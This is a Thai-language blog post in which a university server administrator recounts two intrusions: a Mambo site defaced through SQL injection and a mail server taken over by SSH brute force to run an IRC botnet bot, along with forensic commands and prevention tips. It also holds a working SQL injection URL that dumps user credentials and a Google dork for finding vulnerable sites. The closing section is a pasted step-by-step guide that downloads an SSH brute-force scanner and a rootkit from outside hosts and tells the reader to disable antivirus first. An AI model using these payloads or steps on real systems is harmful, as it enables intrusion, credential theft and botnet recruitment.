วันอังคารที่ 26 สิงหาคม พ.ศ. 2551

เมื่อถึงคราวถูก Hack!!

เมื่อถึงคราวถูก Hack!!

(PSU Link: http://netserv.cc.psu.ac.th/home2/index.php?option=com_content&task=view&id=412&Itemid=27 )

ตั้งแต่มีโอกาสได้ช่วยดูแล server ก็มีเหตุการณ์ถูก hack ด้วยกัน 2 ครั้ง ผมก็เลยอยากแบ่งปันประสบการณ์ให้ครับ

ครั้งแรก เมื่อปีที่แล้ว จำไม่ได้ว่าวันไหน หน้า web page โดนเปลี่ยน จาก hacker ตอนที่หาสาเหตุครั้งนั้นพบว่า เป็น bug calendar component ของ mambo ที่ไม่ได้ update ครับ ซึ่งการถูกเจาะระบบในครั้งนั้นทำให้ได้ความรู้มาดังนี้

เริ่มกระบวนการเจาะระบบ
1. หา web site ที่มีช่องโหว่ของ bug ตัวนี้ด้วย
Google ==> http://www.google.co.th/search?q=inurl:func%3Dselectcat+%2B+com_remository&hl=th&start=0&sa=N

2. วิธีการทำ SQL Injection เพื่อดู user/passwd
=> http://TargetHost/index.php?option=com_remository&func=selectcat&cat=64549999%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0%20from%20mos_users/*

3. passwd ที่แสดงนั้นจะถูกเข้ารหัสทางเดียวแบบ MD5 ถ้าใครตั้ง passwd ง่าย ๆ ก็มีโอกาสที่จะค้นหาเจอ
โดยให้เราเอา passwd ที่ได้ไปค้นหาใน
=> http://www.tmto.org/?category=main&page=search_md5

4. เมื่อได้ user/pass มาแล้ว เราก็สามารถ login เข้า mambo ได้แล้ว
โดย login ผ่าน
http://---Host name หน้าหลัก---/
หรือ
http://---Host name หน้าหลัก---/administrator/ (กรณีที่รู้ passwd ของ admin)

วิธีป้องกัน
ให้ตั้ง passwd ให้ยาก ๆ และ update software mambo ให้เป็น version ใหม่ ๆ ครับ

เพิ่มเติม เพื่อความปลอดภัยของ Mambo site ของท่าน
1. เวลาติดตั้ง mambo อย่าลืม change mode file configuration.php เป็น 644 ด้วยน่ะครับ
2. อย่าติดตั้ง component เสียงภัยเหล่านี้
http://help.mambohub.com/component/option,com_frontpage/Itemid,2/index.php?option=com_content&task=view&id=232&Itemid=1





ครั้งที่ 2 ผมได้รับ mail แจ้งจาก ผู้ดูแลระบบ ที่หาดใหญ่ว่า เครื่อง mail server ได้ run bot mIRC แล้วส่งข้อมูลไปรบกวนในลักษณะ DDoS เจ้า bot ตัวนี้ ชื่อว่า energymech


> There are connections from your netspace connected to our
> network and it appears that these host(s) have been
> compromised and had an Energymech (emech bot)installed on
> it, the connections are also controllable by one or a group
> of persons and is being used as part of a botnet, which is
> involved in flooding and very likey used in other illegal
> activities, and can and likely be used in Ddos (Distributed
> denial of service) attacks against innocent users.


ผมก็ไม่รอช้า รีบเข้าไปตรวจสอบร่องรอย โดยใช้ netstat เพื่อตรวจสอบ
network connection ว่ามีเครื่องไหนใช้ port 666x บ้าง เพราะ เจ้า bot ตัวนี้
จะทำงานที่ port 666x ก็พบว่าโดนเข้าให้แล้วครับ



root@mail:/var/tmp# netstat -tna grep 666
tcp 0 40 172.26.0.8:34802 69.16.172.40:6666 FIN_WAIT1
tcp 0 0 172.26.0.8:54453 82.196.213.250:6660 ESTABLISHED
tcp 0 1 172.26.0.8:49826 129.27.9.248:6660 SYN_SENT
tcp 0 40 172.26.0.8:45078 193.109.122.67:6660 FIN_WAIT1
tcp 0 1 172.26.0.8:45048 194.109.20.90:6667 SYN_SENT
tcp 0 0 172.26.0.8:37625 195.144.12.5:6669 ESTABLISHED
tcp 0 1 172.26.0.8:42750 195.47.220.2:6667 SYN_SENT
tcp 0 1 172.26.0.8:50350 195.68.221.221:6667 SYN_SENT





จากนั้นผมก็ไม่รอช้า รีบค้นหาเลยว่า ไอโปรแกรมที่มันเปิด port นี้ มันอยู่ที่ไหน
โดยใช้คำสั่ง LiSt Open File => lsof –i tcp: ตามด้วยหมายเลข port ที่เราต้องการจะตรวจสอบ




root@mail:/var/tmp# lsof -i tcp:6667
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
linux 31140 root 1u IPv4 4403060 TCP mail.coe.phuket.psu.ac.th:55573->irc2.saunalahti.fi:ircd (SYN_SENT)
linux 31140 root 2u IPv4 4403062 TCP mail.coe.phuket.psu.ac.th:48111->zagreb.hr.eu.undernet.org:ircd (ESTABLISHED)
linux 31140 root 4u IPv4 4403064 TCP mail.coe.phuket.psu.ac.th:41608->oslo1.no.eu.undernet.org:ircd (SYN_SENT)



พบว่าโปรแกรมที่เปิด port 6667 ก็คือโปรแกรมที่ชื่อว่า linux ครับ

ผมลองตรวจสอบดูว่า user คนไหน ที่บังอาจมา run โปรแกรม นี้ โดยใช้คำสั่ง ps ก็พบว่า user ชื่อ demo ครับ


root@mail:/var/tmp# ps axuw grep linux
demo 31140 0.0 0.0 1880 608 ? Ss 22:15 0:00 ./linux


ผมก็เลยแก้ไขโดยการปิด process ด้วยคำสั่ง


root@mail:/var/tmp# killall linux


เนื่องจากว่าเจ้า energymech มันจะมี file m.set อยู่ ผมก็เลย ลองค้นหา file นี้ในเครื่องของผมโดยใช้คำสั่ง find ครับ ก็เจอของดีเลย


root@mail:/home/wwarodom# find / -name *.set
/home/test/.. /.t/m.set
/var/tmp/.,/cobrel/raw.set
/var/tmp/m.set


ผมลองเข้าไปดูใน /var/tmp พี่แก มี source ของ enerymech แล้ว มา compile + run ในเครื่อง server นี้เลย เก๋าจริง ๆ

จากนั้น ผมลองเข้าไปใน /home/demo/ ก็ไม่เจอ ไฟล์ linux แต่ก็เลยลองไปคุ้ยใน .bash_history เจอของดีที่ทำให้ผมรู้ว่ามันเจาะระบบผ่านทาง SSH Brute Force ครับ


root@mail:/home/demo# more .bash_history
w
cat /proc/cpuinfo
passwd
ps x
cd /tmp
ls -a
tar xvf nonmin.tar.tar
cd nonmin
./Scan 210.243
./Scan 64.22
./Scan 133.38
./Scan 221.148
./Scan 210.87
./Scan 213.77
./Scan 79.189
./Scan 87.239
cd /var/tmp
perl
tar xvf diana.jpg
ls -a
cd
ls -a
wget members.lycos.co.uk/chicka/diana.jpg
ls -a
rm -rf diana.jpg
cd /var/tmp
./linux
chmod +x *
./linux
passwd
ps x
cd /var/tmp
ls -a
./linux


แหม พี่แกเข้ามาถึงปุ๊บ ดู cpu เราก่อนเลยนะ สงสัยกำลังคิดว่า ถ้า cpu แรง ๆ คงไว้ยิงชาวบ้านเค้าได้เต็มที่ แต่คงต้องผิดหวังละครับ เพราะเจ้า mail server เครื่องนี้ไม่ได้แรงมาก ฮ่า ๆ ๆ จากนั้นพี่แกก็เอาเครื่อง server นี่แหละ ไปยิงหาช่วงโหว่ชาวบ้านเค้า เพื่อตัวเองจะแอบไปใช้ต่อ เลวจริง ๆ จากนั้นพี่แกก็เอาไอเจ้า bot ตัวนี้แหละ ลงในเครื่อง server (ตั้งชื่อ file .tar เป็น .jpg เท่ห์มากเลยนะจ๊ะ) แล้วก็ run bot irc เลยนะ

ตรวจสอบดูอีกครั้ง user พบว่า user test ก็โดนด้วยครับ



root@mail:/home/test# lsof -u test
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
bash 5607 test cwd DIR 8,1 4096 368723 /home/test/.. /.t
bash 5607 test rtd DIR 8,1 4096 2 /
bash 5607 test txt REG 8,1 397274 368725 /home/test/.. /.t/bash
bash 5607 test mem REG 8,1 67408 6824107 /lib/tls/i686/cmov/libresolv-2.7.so

root@mail:/home/test# ps axuw grep bash
test 5607 0.0 0.0 2024 976 ? Ss Aug17 0:23 bash
root 30824 0.0 0.0 4156 1832 pts/0 Ss+ 21:53 0:00 -bash
root 31088 0.0 0.0 4204 1872 pts/1 Ss 22:10 0:00 -bash
root 31276 0.0 0.0 3008 776 pts/1 S+ 22:31 0:00 grep bash


แถมอันนี้พี่แกตั้งชื่อโปรแกรม ว่า bash หลอกให้เราคิดว่าเป็น shell ด้วย!!
ผมก็จัดการ


root@mail:/home/test# kill -9 5607


ผมลอง cross check อีกครั้ง ด้วยคำสั่ง last ก็พบว่า เจ้านี่ มันเข้ามาในระบบเราจริง ๆ ด้วย



root@mail:/home/demo# last grep demo
demo pts/2 host225-57-dynam Mon Aug 25 22:33 - 22:33 (00:00)
demo pts/2 host20-31-dynami Fri Aug 15 23:20 - 01:52 (02:31)
demo pts/1 121.14.139.26 Fri Aug 15 23:20 - 23:29 (00:09)
demo pts/0 60-250-3-222.hin Wed Aug 13 01:54 - 01:54 (00:00)

เอ๊ะ ๆ มอง IP ที่มาไม่ชัด เอาใหม่ ดีกว่า



root@mail:/home/demo# last -a grep demo
demo pts/2 Mon Aug 25 22:33 - 22:33 (00:00) host225-57-dynamic.16-87-r.retail.telecomitalia.it
demo pts/2 Fri Aug 15 23:20 - 01:52 (02:31) host20-31-dynamic.52-82-r.retail.telecomitalia.it
demo pts/1 Fri Aug 15 23:20 - 23:29 (00:09) 121.14.139.26
demo pts/0 Wed Aug 13 01:54 - 01:54 (00:00) 60-250-3-222.hinet-ip.hinet.net

root@mail:/home/demo# last -a grep test
test pts/0 Sun Aug 17 03:13 - 03:30 (00:16) 89.123.129.136
test pts/0 Sat Aug 16 22:01 - 23:39 (01:38) 89.238.202.216
test pts/1 Wed Aug 6 14:47 - 14:48 (00:00) 89.238.202.216
test pts/0 Sun Aug 3 21:14 - 21:14 (00:00) 221.208.255.225
test pts/1 Sun Aug 3 06:02 - 08:02 (02:00) 83.143.38.157
test pts/1 Sun Aug 3 05:49 - 06:02 (00:12) 83.143.38.157


คราวนี้เห็นชัดแล้ว ว่า IP + DNS อะไร ผมก็เอาไปถามใน http://www.ip2location.com/ ว่า มันเจาะระบบมาจากประเทศไหน
ก็พบว่ามาจาก อิตาลี่ , โรมาเนีย, ไต้หวัน, จีน เยอะแยะไปหมด แสดงว่า คงมีอีกหลายเครื่องที่โดนเจ้านี่
เจาะระบบโดย SSH Brute Force Attack ซึ่งคงจะจับตัวการลำบาก เพราะเจ้าตัวการจริง ๆ คงจะไม่ได้อยู่
ในประเทศที่ไปค้นหานี่ก็ได้

สรุปตอนนี้ คือ เจ้า hacker นี้ ได้เจาะระบบ เข้ามาทาง port 22 โดยใช้ SSH Brute Force Attack
จากนั้นก็ จัดการ วาง bot IRC ไว้ ซึ่งผมก็แก้ไข โดยการ end process ที่มีปัญหาทิ้งไป และ จัดการลบ user
ที่เป็นสาเหตุของการโดน hack

จริง ๆ แล้ว เรื่องการตั้ง รหัสผ่าน ให้ยาก ๆ เนี่ย ก็รู้อยู่เต็มอก แต่อาจจะเนื่องจากการรีบเร่ง อยากทดสอบระบบ
ที่ได้พัฒนาขึ้นแบบง่าย ๆ เลยตั้ง user/ password ให้ง่าย ๆ พอทดสอบเสร็จก็ลืม ลบ user นี้ออก
ทำให้เกิดปัญหานี้ขึ้นมา ยังดีนะ ที่มันยังไม่ได้ root password

วิธีป้องกัน
- อย่าตั้ง user/pass ที่สั้นเกินไปและมีใน dictionary
- ติดตั้ง Antivirus (ClamAV) + IDS (snort + snarf)
- อนุญาตให้ใช้ ssh ได้เฉพาะบาง user ที่จำเป็นเท่านั้น
- Update program ให้ทันสมัยอยู่เสมอ
- ถ้าเป็น server ที่สำคัญมาก ๆ ควรเอา tool พวก compiler, wget ออก เพื่อให้ยากแก่การทำงานของ hacker

ความรู้เกี่ยวกับการทำ SSH Brute Force Attack
บางคนอาจจะสงสัย ว่า “SSH Brute Force” คืออะไร? ถ้าให้ตอบง่าย ๆ ก็คือ การ hack ระบบโดยการ นำข้อมูลจากใน dictionary มาทดลองดู ถ้าระบบใช้ user ที่มีใน dictionary ก็เรียบร้อยครับ

ถ้าใครอยากลองก็ทำตามนี้เลยครับ ใน sshteam.tgz จะเป็นโปรแกรมที่ติดต่อ port ssh แล้ว เอา user/pass ใน dictionary ไปทดสอบว่า ถูกต้องหรือไม่

Hacking skills in a few steps Smile (BRUTE FORCE SSH SCANNER)
1) First you have to download the scanner file with command:
wget http://geocities.com/dapheus/sshteam.tgz
2) tar zxvf sshteam.tgz
3) Enter the scanner folder using command cd sshscan
4) Type ./start B-class
5) Example: ./start 147.237
6) Scanner will scan all machines with ip 147.237.*.* for ssh22 port
7) Then start bruting/cracking password of eah box Cool The scanner will paste you the results on the main of your screen
8) If you gain root, you should install rootkit: wget http://geocities.com/dapheus/shv5.tar.gz
9) ar zxvf shv5.tar.gz
10) d shv5
11) ./setup Whoala, you have root! SSH to IP and port you chose.
( ก่อน download โปรแกรมจะต้อง ปิด Anti-Virus ก่อนนะครับ ไม่งั้น file ที่ load มาจะถูก An-ti virus ลบทิ้งไปโดยอัตโนมัติ)
Reference: http://hackhound.org/forum/index.php?topic=998.0
อันนี้ไม่ได้ให้มือใหม่ ไปหัดใช้ยิงเพื่อนคนอื่น ๆ นะ ครับ ผมอยากให้เอาไปใช้ทดลองเพื่อความรู้ของตัวเอง โดย ทดสอบในวงระบบเครือข่ายส่วนตัวเท่านั้น อย่าไปทดสอบกับระบบจริงข้างนอก ไม่งั้นเพราะ ผู้ดูแลระบบข้างนอกเค้าตรวจสอบได้นะครับ
หวังว่าคงจะมีประโยชน์กับผู้ที่เข้ามาอ่าน และ ครั้งนี้คงเป็นครั้งสุดท้ายที่โดน hack ครับ

สรุปโดย

วโรดม วีระพันธ์ (wwarodom at gmail.com)

1 ความคิดเห็น:

Sabuy Story กล่าวว่า...

ขอบคุณครับที่ลงละเอียด ช่วยได้เยอะเลย